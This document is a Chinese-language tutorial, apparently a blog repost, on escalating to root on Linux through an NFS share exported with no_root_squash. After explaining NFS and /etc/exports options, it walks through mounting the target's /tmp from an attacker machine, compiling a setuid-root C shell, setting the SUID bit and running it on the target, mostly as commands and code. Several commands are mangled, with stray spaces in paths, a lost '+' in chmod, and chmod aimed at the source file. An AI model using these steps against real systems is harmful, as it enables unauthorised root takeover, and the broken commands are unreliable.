Linux提权姿势二:利用NFS提权

2020-09-29 10:46:32 浏览数 (1)

如果在服务器上具有低特权shell,并且发现服务器中具有NFS共享,则可以使用它来升级特权。但是成功取决于它的配置方式。

目录

代码语言:javascript复制
1.什么是NFS?
2.什么是root_sqaush和no_root_sqaush?
3.所需的工具和程序文件。
4.利用NFS弱权限。

什么是NFS?

网络文件系统(NFS)是一个客户端/服务器应用程序,它使计算机用户可以查看和选择存储和更新远程计算机上的文件,就像它们位于用户自己的计算机上一样。在 NFS 协议是几个分布式文件系统标准,网络附加存储(NAS)之一。

NFS是基于UDP/IP协议的应用,其实现主要是采用远程过程调用RPC机制,RPC提供了一组与机器、操作系统以及低层传送协议无关的存取远程文件的操作。RPC采用了XDR的支持。XDR是一种与机器无关的数据描述编码的协议,他以独立与任意机器体系结构的格式对网上传送的数据进行编码和解码,支持在异构系统之间数据的传送。

什么是root_sqaush和no_root_sqaush?

Root Squashing(root_sqaush)参数阻止对连接到NFS卷的远程root用户具有root访问权限。远程根用户在连接时会分配一个用户“ nfsnobody ”,它具有最少的本地特权。如果 no_root_squash 选项开启的话”,并为远程用户授予root用户对所连接系统的访问权限。在配置NFS驱动器时,系统管理员应始终使用“ root_squash ”参数。

注意:要利用此,no_root_squash 选项得开启。

利用NFS并获取Root Shell

现在,我们拿到了一个低权限的shell,我们查看“ / etc / exports ”文件。

/ etc / exports 文件包含将哪些文件夹/文件系统导出到远程用户的配置和权限。

这个文件的内容非常简单,每一行由抛出路径,客户名列表以及每个客户名后紧跟的访问选项构成:

[共享的目录] [主机名或IP(参数,参数)]

代码语言:javascript复制
其中参数是可选的,当不指定参数时,nfs将使用默认选项。默认的共享选项是 sync,ro,root_squash,no_delay。
当主机名或IP地址为空时,则代表共享给任意客户机提供服务。
当将同一目录共享给多个客户机,但对每个客户机提供的权限不同时,可以这样:
[共享的目录] [主机名1或IP1(参数1,参数2)] [主机名2或IP2(参数3,参数4)]

我们可以看到/ tmp 文件夹是可共享的,远程用户可以挂载它。

还有不安全的参数“ rw ”(读,写),“ sync ”和“ no_root_squash

同样我们也可以使用 showmount命令来查看。

代码语言:javascript复制
showmount命令用于查询NFS服务器的相关信息
# showmount --help
 Usage: showmount [-adehv]
        [--all] [--directories] [--exports]
        [--no-headers] [--help] [--version] [host]
-a或--all
    以 host:dir 这样的格式来显示客户主机名和挂载点目录。
 -d或--directories
    仅显示被客户挂载的目录名。
 -e或--exports
    显示NFS服务器的输出清单。
 -h或--help
    显示帮助信息。
 -v或--version
    显示版本信。
 --no-headers
    禁止输出描述头部信息。

显示NFS客户端信息
 # showmount

显示指定NFS服务器连接NFS客户端的信息
 # showmount 192.168.1.1  #此ip为nfs服务器的

显示输出目录列表
 # showmount -e

显示指定NFS服务器输出目录列表(也称为共享目录列表)
 # showmount -e 192.168.1.1

显示被挂载的共享目录
 # showmount -d

显示客户端信息和共享目录
 # showmount -a

显示指定NFS服务器的客户端信息和共享目录
# showmount -a 192.168.1.1

这里不多说了

我们接下来在我们的攻击机上安装客户端工具

需要执行以下命令,安装nfs-common软件包。apt会自动安装nfs-common、rpcbind等12个软件包

代码语言:javascript复制
sudo apt install nfs-common
apt-get install cifs-utils

然后输入命令

代码语言:javascript复制
showmount -e [IP地址]

创建目录以挂载远程系统。

代码语言:javascript复制
mkdir / tmp / test

在/tmp/test上装载Remote/tmp文件夹:

代码语言:javascript复制
mount -o rw,vers = 2 [IP地址]:/ tmp / tmp / test

然后在/tmp/test/中。新建一个c文件。

代码语言:javascript复制
#include <stdio.h> 
#include <stdlib.h> 
#include <sys/types.h> 
#include <unistd.h> 
int main() { setuid(0); system("/bin/bash"); return 0; }

也可以

代码语言:javascript复制
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/test/suid-shell.c

编译:

代码语言:javascript复制
gcc /tmp/test/suid-shell.c -o / tmp / 1 / suid-shel

赋权:

代码语言:javascript复制
chmod   s /tmp/test/suid-shell.c

好的,我们回到要提权的服务器上

代码语言:javascript复制
cd / tmp
./suid-shell

可以看到是ROOT权限了

0 人点赞